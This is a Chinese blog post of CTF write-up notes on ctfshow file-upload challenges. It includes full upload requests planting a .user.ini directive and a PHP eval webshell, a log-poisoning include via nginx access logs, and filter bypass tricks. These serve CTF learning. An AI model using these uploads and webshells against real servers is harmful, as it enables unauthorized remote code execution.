[CTF]ctfshow 文件上传

文章讨论了在web开发中遇到的安全问题,如后端验证缺失导致的文件上传漏洞,如何利用ini文件、PHP代码执行和文件名技巧进行命令执行。作者还提到了常见的防御措施和绕过方法,如检查文件内容、限制括号使用和图片处理以避免RCE攻击。
摘要由CSDN通过智能技术生成

开始

web151
后端无验证,考虑在浏览器中修改前端代码

web152
\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4这为何能提示文件内容不合规
Content-Type: image/png关键字段
此题有后端验证

web153
上传.ini文件
.user.ini中写auto_append_file=1.txt
(auto_prepend_file=1.txt也可,二者区别是是在脚本执行前或脚本执行后加载文件)
修改Content-Type

发.user.ini

POST /upload.php HTTP/1.1
Host: 848be834-1c62-42ba-b6fb-67e17d0797f2.challenge.ctf.show
Content-Length: 204
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEVXGJZAVO5a3WfZC
Origin: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show
Referer: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

------WebKitFormBoundaryEVXGJZAVO5a3WfZC
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_append_file=1.txt
------WebKitFormBoundaryEVXGJZAVO5a3WfZC--

发1.txt

POST /upload.php HTTP/1.1
Host: 848be834-1c62-42ba-b6fb-67e17d0797f2.challenge.ctf.show
Content-Length: 204
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEVXGJZAVO5a3WfZC
Origin: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show
Referer: http://74d67792-c98e-45af-b9c1-5e1cf135b05d.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

------WebKitFormBoundaryEVXGJZAVO5a3WfZC
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/png

<?php eval($_POST[1]);?>

------WebKitFormBoundaryEVXGJZAVO5a3WfZC--

若出现回显,则可尝试命令执行
回显:Notice: Undefined offset: 1 in /var/www/html/upload/1.txt on line 1
疑问:在这个在线环境中,如果上传多个.user.ini或多个1.txt会导致回显异常,这是怎么回事呢

web154
对上传的文件内容检测,要求不能包含php,考虑替换为短标签

web156
[]被ban可用{}

web157
;被ban,要求POST之后不能跟任意括号,考虑使用array_pop()方法把$_POST的最后一个内容弹出,尝试执行

web158
同上题

web159
不让用括号,适用include
为何写马的机会只有一次?
写错了后面就没法执行了

web160
空格不让用就换成0d,换行符

.user.ini
auto_append_file=1.txt

1.txt

<?php include '/var/lo'.'g/nginx/access.lo'.'g'?>

ua

<?php eval($_POST[1]);?>

问题提示?
Notice: Undefined offset: 1 in /var/log/nginx/access.log on line 23

为何要使用/upload/呢,少了最后一个/就没法成

web160
GIF89a绕过
文件头基操

web161
ip地址转换为长地址,不包含.
这是远程地址包含
需要远程服务器,稍后尝试
这道题也可用session竞争,只是远程包含不需要竞争条件,做起来比较方便

copy shell.jpg /b+txt.php/a jshell.jpg

web165
CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality二次渲染,马可能被过滤
绕过服务器对图片的二次渲染
图片需要精细挑选

web166
压缩包包含,一般来说.zip文件不会被解析,这个题目点击下载文件返回html内容,很奇怪,回显内容没看到eval的马,但是使用post能传参数能RCE

web167
httpd和htaccess有什么关系??

web168
基础免杀,上传php后缀文件,数据包内反引号内写动态函数,达到RCE

web169
高级免杀,想要包含日志文件,目录下需要有index.php文件,才可包含/var/log/nginx/access.log,故先上传个任意内容的index.php,然后再.user.ini包含日志,通过马RCE

web170
与上题类似,有时浏览器没有回显,但是burpsuit有回显,需要使用phpinfo();标记,比较好观察

到此完结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值